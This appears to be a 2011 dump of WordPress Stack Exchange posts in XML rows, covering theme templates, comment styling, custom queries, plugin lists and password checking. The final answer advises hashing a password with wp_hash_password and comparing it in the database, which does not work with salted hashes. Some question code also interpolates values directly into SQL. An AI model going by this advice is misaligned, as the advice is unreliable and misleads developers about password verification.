  <row Id="19081" PostTypeId="1" CreationDate="2011-06-03T00:33:20.587" Score="1" ViewCount="29" Body="&lt;p&gt;Been trying to find the right plugin or code to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user clicks on any of my listed catagories on the right-side column, a new page opens up with a list of the posts related to that category.  I would like to get thumbnails to also appear next to the post titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.... who ever can help!&lt;/p&gt;&#xA;" OwnerUserId="5895" LastActivityDate="2011-07-07T04:27:17.020" Title="Getting thubnails for previous posts" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="19082" PostTypeId="1" CreationDate="2011-06-03T01:05:50.453" Score="0" ViewCount="110" Body="&lt;p&gt;I need help with displaying my custom taxonomies in a ul using the_term_list().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get it to list all the terms I want, but I need them in an unordered list, rather than just a list of links separated by comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got to work with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_term_list($post-&amp;gt;ID, 'skills', '&amp;lt;h5&amp;gt;Project Role&amp;lt;/h5&amp;gt; ', ', ', '', ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the WordPress function reference, if you need it: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_term_list&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_term_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5896" LastActivityDate="2011-09-01T05:38:37.060" Title="Displaying my custom taxonomies in a &lt;ul&gt; using the_term_list()" Tags="&lt;custom-taxonomy&gt;&lt;get-the-term-list&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19083" PostTypeId="2" ParentId="19082" CreationDate="2011-06-03T01:28:35.017" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;Try this&#xA; &amp;lt;?php echo get_the_term_list($post-&amp;gt;ID, 'skills', '&amp;lt;h5&amp;gt;Project Role&amp;lt;/h5&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; ', '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-03T01:28:35.017" CommentCount="1" />
  <row Id="19084" PostTypeId="1" CreationDate="2011-06-03T02:18:08.307" Score="0" ViewCount="98" Body="&lt;p&gt;There's a lot of documentation on how to style 'autor' or 'admin' comments in WP, but most of it seems wildly outdated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client for whom I am developing a Q&amp;amp;A site. I always figure it's best to use whatever tools Wordpress has already provided me with. That's why I decided to set up a form which pushes all &quot;questions&quot; to a custom post type. Which my client can then read and comment on with his answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem I've run into is that I need to style his comments in a couple ways. They need to stand out. This is easy enough to achieve really, as WP now dynamically generates a class for each authors comments.  So I just wrote a little CSS for that: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.comment-author-myClient {&#xA;background-color: #bcd1f7;&#xA;padding: 10px;&#xA;border: 1px dotted black;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That did the job of making his comments look different. But it's still not quite enough. I really want to edit his specific comment template. Instead of it saying something like 'user says:&quot; I want it to say &quot;myClient's Answer:&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like for his comments to -always- remain at the top. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that shouldn't ever really become an issue, as standard WP comments are displayed in ASC format, so as long as is the first to comment (which he should always be) his comment should always be at the top. But, I just want to be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I would like for his comment to appear before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X responses to &quot;post-title&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to make it easy for everyone who is going to try and help me.. Here is the twentyten comments.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The template for displaying Comments.&#xA; *&#xA; * The area of the page that contains both current comments&#xA; * and the comment form.  The actual display of comments is&#xA; * handled by a callback to twentyten_comment which is&#xA; * located in the functions.php file.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;comments&quot;&amp;gt;&#xA;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;                &amp;lt;p class=&quot;nopassword&quot;&amp;gt;&amp;lt;?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #comments --&amp;gt;&#xA;&amp;lt;?php&#xA;        /* Stop the rest of comments.php from being processed,&#xA;         * but don't kill the script entirely -- we still have&#xA;         * to fully load the template.&#xA;         */&#xA;        return;&#xA;    endif;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    // You can start editing here -- including this comment!&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_comments() ) : ?&amp;gt;&#xA;            &amp;lt;h3 id=&quot;comments-title&quot;&amp;gt;&amp;lt;?php&#xA;            printf( _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number(), 'twentyten' ),&#xA;            number_format_i18n( get_comments_number() ), '&amp;lt;em&amp;gt;' . get_the_title() . '&amp;lt;/em&amp;gt;' );&#xA;            ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;?php if ( get_comment_pages_count() &amp;gt; 1 &amp;amp;&amp;amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&amp;gt;&#xA;            &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_comments_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_comments_link( __( 'Newer Comments &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- .navigation --&amp;gt;&#xA;&amp;lt;?php endif; // check for comment navigation ?&amp;gt;&#xA;&#xA;            &amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    /* Loop through and list the comments. Tell wp_list_comments()&#xA;                     * to use twentyten_comment() to format the comments.&#xA;                     * If you want to overload this in a child theme then you can&#xA;                     * define twentyten_comment() and that will be used instead.&#xA;                     * See twentyten_comment() in twentyten/functions.php for more.&#xA;                     */&#xA;                    wp_list_comments( array( 'callback' =&amp;gt; 'twentyten_comment' ) );&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ol&amp;gt;&#xA;&#xA;&amp;lt;?php if ( get_comment_pages_count() &amp;gt; 1 &amp;amp;&amp;amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&amp;gt;&#xA;            &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_comments_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_comments_link( __( 'Newer Comments &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .navigation --&amp;gt;&#xA;&amp;lt;?php endif; // check for comment navigation ?&amp;gt;&#xA;&#xA;&amp;lt;?php else : // or, if we don't have comments:&#xA;&#xA;    /* If there are no comments and comments are closed,&#xA;     * let's leave a little note, shall we?&#xA;     */&#xA;    if ( ! comments_open() ) :&#xA;?&amp;gt;&#xA;    &amp;lt;p class=&quot;nocomments&quot;&amp;gt;&amp;lt;?php _e( 'Comments are closed.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; // end ! comments_open() ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; // end have_comments() ?&amp;gt;&#xA;&#xA;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #comments --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the part of functions.php that it refers to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! function_exists( 'twentyten_comment' ) ) :&#xA;/**&#xA; * Template for comments and pingbacks.&#xA; *&#xA; * To override this walker in a child theme without modifying the comments template&#xA; * simply create your own twentyten_comment(), and that function will be used instead.&#xA; *&#xA; * Used as a callback by wp_list_comments() for displaying the comments.&#xA; *&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;function twentyten_comment( $comment, $args, $depth ) {&#xA;    $GLOBALS['comment'] = $comment;&#xA;    switch ( $comment-&amp;gt;comment_type ) :&#xA;        case '' :&#xA;    ?&amp;gt;&#xA;    &amp;lt;li &amp;lt;?php comment_class(); ?&amp;gt; id=&quot;li-comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;comment-&amp;lt;?php comment_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;comment-author vcard&quot;&amp;gt;&#xA;            &amp;lt;?php echo get_avatar( $comment, 40 ); ?&amp;gt;&#xA;            &amp;lt;?php printf( __( '%s &amp;lt;span class=&quot;says&quot;&amp;gt;says:&amp;lt;/span&amp;gt;', 'twentyten' ), sprintf( '&amp;lt;cite class=&quot;fn&quot;&amp;gt;%s&amp;lt;/cite&amp;gt;', get_comment_author_link() ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .comment-author .vcard --&amp;gt;&#xA;        &amp;lt;?php if ( $comment-&amp;gt;comment_approved == '0' ) : ?&amp;gt;&#xA;            &amp;lt;em class=&quot;comment-awaiting-moderation&quot;&amp;gt;&amp;lt;?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;comment-meta commentmetadata&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo esc_url( get_comment_link( $comment-&amp;gt;comment_ID ) ); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                /* translators: 1: date, 2: time */&#xA;                printf( __( '%1$s at %2$s', 'twentyten' ), get_comment_date(),  get_comment_time() ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' );&#xA;            ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .comment-meta .commentmetadata --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;comment-body&quot;&amp;gt;&amp;lt;?php comment_text(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;reply&quot;&amp;gt;&#xA;            &amp;lt;?php comment_reply_link( array_merge( $args, array( 'depth' =&amp;gt; $depth, 'max_depth' =&amp;gt; $args['max_depth'] ) ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .reply --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #comment-##  --&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;            break;&#xA;        case 'pingback'  :&#xA;        case 'trackback' :&#xA;    ?&amp;gt;&#xA;    &amp;lt;li class=&quot;post pingback&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Pingback:', 'twentyten' ); ?&amp;gt; &amp;lt;?php comment_author_link(); ?&amp;gt;&amp;lt;?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;            break;&#xA;    endswitch;&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the documentation I have found thus far on modifying admin comments has been from a previous version of WP and Twentyten, where the comments loop is all stored in comments.php, and has a much different format. So any help with the goals I am trying to achieve here would be very, very appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="2479" LastEditorDisplayName="" LastEditDate="2011-06-03T02:27:16.383" LastActivityDate="2011-08-02T22:37:01.530" Title="Styling Admin comments in WP 3.1.3" Tags="&lt;comments&gt;&lt;admin&gt;&lt;styles&gt;" AnswerCount="3" />
  <row Id="19085" PostTypeId="2" ParentId="6236" CreationDate="2011-06-03T02:24:56.467" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1714/initialization-script-for-standard-aspects-of-a-wordpress-website&quot;&gt;This&lt;/a&gt; is not exactly for plugins, but for all initialized actions after you installed WordPress. MikeSchinkel has written a great script with very details in explanation.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-03T02:24:56.467" />
  <row Id="19086" PostTypeId="1" CreationDate="2011-06-03T02:32:05.740" Score="0" ViewCount="58" Body="&lt;p&gt;I'm trying to figure a custom loop out from here so I can use pagination but unsure what I've done wrong. I'm trying to pull the top rated posts rom a database table and order them by votes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my sql wrong? it works in another loop, but one that does not paginate. Thanks for any advice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;$total = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count&quot;;&#xA;$totalposts = $wpdb-&amp;gt;get_results($total, OBJECT);&#xA;$ppp = intval(get_query_var('posts_per_page'));&#xA;$wp_query-&amp;gt;found_posts = count($totalposts);&#xA;$wp_query-&amp;gt;max_num_pages = ceil($wp_query-&amp;gt;found_posts / $ppp);&#xA;$on_page = intval(get_query_var('paged'));&#xA;if($on_page == 0){ $on_page = 1; }&#xA;$offset = ($on_page-1) * $ppp;&#xA;$wp_query-&amp;gt;request = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count DESC LIMIT $ppp OFFSET $offset&quot;;&#xA;$pageposts = $wpdb-&amp;gt;get_results($wp_query-&amp;gt;request, OBJECT);?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($pageposts): ?&amp;gt;&#xA;  &amp;lt;?php foreach ($pageposts as $post): ?&amp;gt;&#xA;    &amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;No matching entries found.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using the code above returns a blank page, no errors, although the pagination is there and the correct number of pages are displayed, so I'm guessing my query is structured wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total = &quot;SELECT like_pid&#xA;FROM $wpdb-&amp;gt;likes_count&#xA;ORDER BY like_count&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use the same SQL in a previous loop that worked, but without pagination.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $wpdb;&#xA;$query_sql = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count DESC LIMIT 6 OFFSET 0&quot;;&#xA;$query_result = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare ($query_sql, OBJECT));&#xA;if ($query_result) {&#xA;foreach ($query_result as $post_id) {&#xA;$post = &amp;amp;get_post( $post_id );&#xA;setup_postdata($post); ?&amp;gt;&#xA;&#xA;&amp;lt;-- do content  --&amp;gt;&#xA;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2011-06-03T02:32:05.740" Title="Help learner understanding a query" Tags="&lt;pagination&gt;" />
  <row Id="19087" PostTypeId="2" ParentId="19073" CreationDate="2011-06-03T02:33:48.793" Score="2" ViewCount="" Body="&lt;p&gt;I met the same problem before. I tried to use &lt;code&gt;meta_query&lt;/code&gt; parameter in the query argument, but didn't succeed. The code I tried to use looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$software = array(&#xA;    'post_type' =&amp;gt; 'software',&#xA;    'meta_query' =&amp;gt; array('key' =&amp;gt; 'legacy', 'value' =&amp;gt; 1, 'compare' =&amp;gt; '!=')&#xA;);&#xA;query_posts($software);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the problem is this query also excludes posts that don't have that meta key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had to use a custom query, that gets all posts with &lt;code&gt;legacy&lt;/code&gt; meta key, and then excludes them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$legacy = $wpdb-&amp;gt;get_col(&quot;SELECT ID FROM $wpdb-&amp;gt;postmeta WHERE meta_key='legacy'&quot;);&#xA;&#xA;$software = array(&#xA;    'post_type' =&amp;gt; 'software',&#xA;    'post__not_in' =&amp;gt; $legacy&#xA;);&#xA;query_posts($software);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this can help you.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-03T02:33:48.793" CommentCount="4" />
  <row Id="19088" PostTypeId="2" ParentId="18436" CreationDate="2011-06-03T02:50:32.997" Score="1" ViewCount="" Body="&lt;p&gt;These are my common plugins that I always install on all my blogs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://akismet.com/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; - Fighting with spam. I use only this plugin and it does the job very well&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sanisoft.com/blog/2010/04/19/wordpress-plugin-automatic-post-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;Auto Post Thumbnail&lt;/a&gt; - I'm lazy with setting the featured image. This plugin will auto take the 1st image in post content and set it as the featured image.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://contactform7.com/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; - Very powerful and easy to customize contact plugin.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.prelovac.com/vladimir/wordpress-plugins/seo-smart-links&quot; rel=&quot;nofollow&quot;&gt;SEO Smart Links&lt;/a&gt; - Do some cool SEO things for links and images&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://scribu.net/wordpress/smart-archives-reloaded&quot; rel=&quot;nofollow&quot;&gt;Smart Archives Reloaded&lt;/a&gt; - It's designed for archive page, but we can also use it for sitemap page&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/wordpress/seo/&quot; rel=&quot;nofollow&quot;&gt;Yoast SEO Plugin&lt;/a&gt; - I used AIO SEO Plugin before, but I decided to switch to Yoast's plugin as it has good feature of recommendation while editing posts.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; - it's the best cache plugin for me, it does some jobs in optimization, also&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freakytrigger.co.uk/wordpress-setup/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; - Instead of hard code into theme files, I use this for controlling my widgets&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ruhanirabin.com/wp-optimize/&quot; rel=&quot;nofollow&quot;&gt;WP-Optimize&lt;/a&gt; - Do some optimizations such as: delete spams, post revisions, optimize tables&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/&quot; rel=&quot;nofollow&quot;&gt;WP-PostViews&lt;/a&gt; - For simple stats like popular posts. It's lightweight, works with cache, and has nice widget&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wptouch/&quot; rel=&quot;nofollow&quot;&gt;WPtouch&lt;/a&gt; - I found this's the best plugin for mobile&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-03T02:50:32.997" CommunityOwnedDate="2011-06-03T02:50:32.997" />
  <row Id="19089" PostTypeId="2" ParentId="18860" CreationDate="2011-06-03T02:56:26.257" Score="0" ViewCount="" Body="&lt;p&gt;There're 2 functions that help you handle the classes in WP: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post_class()&lt;/code&gt;&lt;/a&gt;. When you use &lt;code&gt;body_class()&lt;/code&gt;, you can style the post that in a certain category like this (in your CSS file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* normal rule for all posts */&#xA;.post-title {font-size: 22px; color: #0f0}&#xA;&#xA;/* for posts in Talks category only */&#xA;.category-talks .post-title {font-size: 28px; color: #fff}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-03T02:56:26.257" />
  <row Id="19090" PostTypeId="1" CreationDate="2011-06-03T02:59:07.117" Score="0" ViewCount="45" Body="&lt;p&gt;I sometimes learn a few tricks from wordpress blog tutorial sites and its great that some of the people in this field , share what they know about working around with coding around wordpress.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im just wondering do some of you know blog sites that are catering quality wordpress tutorial posts (like working around in the API, theme development , plugin development , articles) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know.... there are thousands of them, &#xA;so I wanted to know if you have list of the best sites so far you know that do this. Probably the sites you bookmarked and visit regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions will be cool  &lt;/p&gt;&#xA;" OwnerUserId="2210" LastActivityDate="2011-06-03T07:17:50.580" Title="Great blogs site resources/tutorial for Wordpress Developers?" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;wordpress.org&gt;" AnswerCount="5" />
  <row Id="19091" PostTypeId="1" CreationDate="2011-06-03T03:20:17.653" Score="0" ViewCount="46" Body="&lt;p&gt;I have custom post types set up and using WP-PostViews. The plugin works just fine but I have noticed when a post gets over 1000 views (not the exact number but when it's noticible) that the next post in that post type gets a higher count also, they are of course false views after verifying with analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin stores the view count in the post meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trying to see if anyone has run into this problem and if there is a fix. &lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-06-03T03:20:17.653" Title="WP-PostViews Leaks Count on Next Post - Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;post-meta&gt;" />
  <row Id="19092" PostTypeId="2" ParentId="18973" CreationDate="2011-06-03T03:39:00.607" Score="0" ViewCount="" Body="&lt;p&gt;Just change the way you make the include in your color.php to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require($_SERVER['DOCUMENT_ROOT'].'./wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5873" LastActivityDate="2011-06-03T03:39:00.607" CommentCount="1" />
  <row Id="19093" PostTypeId="2" ParentId="19090" CreationDate="2011-06-03T03:44:20.017" Score="1" ViewCount="" Body="&lt;p&gt;Some good ones I read:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wprecipes.com&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.smashingmagazine.com&quot; rel=&quot;nofollow&quot;&gt;http://www.smashingmagazine.com&lt;/a&gt; usually has some good stuff. You might find more under their 'network posts'&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.catswhocode.com/blog/&quot; rel=&quot;nofollow&quot;&gt;http://www.catswhocode.com/blog/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpcandy.com/&quot; rel=&quot;nofollow&quot;&gt;http://wpcandy.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-06-03T03:44:20.017" />
  <row Id="19094" PostTypeId="1" CreationDate="2011-06-03T03:48:35.567" Score="1" ViewCount="28" Body="&lt;p&gt;i add this code in &lt;code&gt;index.php&lt;/code&gt;.&#xA;&lt;code&gt;&amp;lt;div class=&quot;Div1&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;. then write some css(absolution position) to the &lt;code&gt;Div1&lt;/code&gt;. so when i login in my wordpress. the admin nav will push down some spaces to the site body. so the conetent shows unnormal. now, i want to add a &lt;code&gt;class&lt;/code&gt; to &lt;code&gt;&amp;lt;div class=&quot;Div1&quot;&amp;gt;&lt;/code&gt; when logins. is there a way to get this.&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2011-08-02T11:36:54.787" Title="add a class when login" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="19095" PostTypeId="1" CreationDate="2011-04-06T22:35:57.030" Score="1" ViewCount="67" Body="&lt;p&gt;For reasons I can't go into right now, I'm creating a form that will allow users to change their passwords for Wordpress by entering their current password and then entering the new password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do a databse lookup to see if the password they entered was the correct one already stored in the DB. However, in WP the passwords are encrypted somehow, so doing a simple SQL comparison on this column wont work. I tried using &lt;code&gt;md5()&lt;/code&gt; on the password for the lookup but it doesn't seem to work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my sql:&#xA;&lt;code&gt;SELECT ID, user_pass &#xA;FROM wp_users &#xA;WHERE ID = '$current_user-&amp;gt;ID'&#xA;AND user_pass = 'md5($currentpassword)'&#xA;LIMIT 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ignore most of this, but what I need to know is how I can do a comparison against the user_pass column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this method above and it results in 0 rows returned - with or without the &lt;code&gt;md5()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-03T04:16:42.997" Title="Wordpress 3 - how are passwords stored and how do I compare to them?" Tags="&lt;php&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="19096" PostTypeId="2" ParentId="19095" CreationDate="2011-04-06T22:38:52.567" Score="8" ViewCount="" Body="&lt;p&gt;Wordpress appears to have a built in function called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_hash_password&quot;&gt;wp_hash_password&lt;/a&gt; that will hash the given password and then you can compare it in the db.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-06T22:38:52.567" CommentCount="3" />
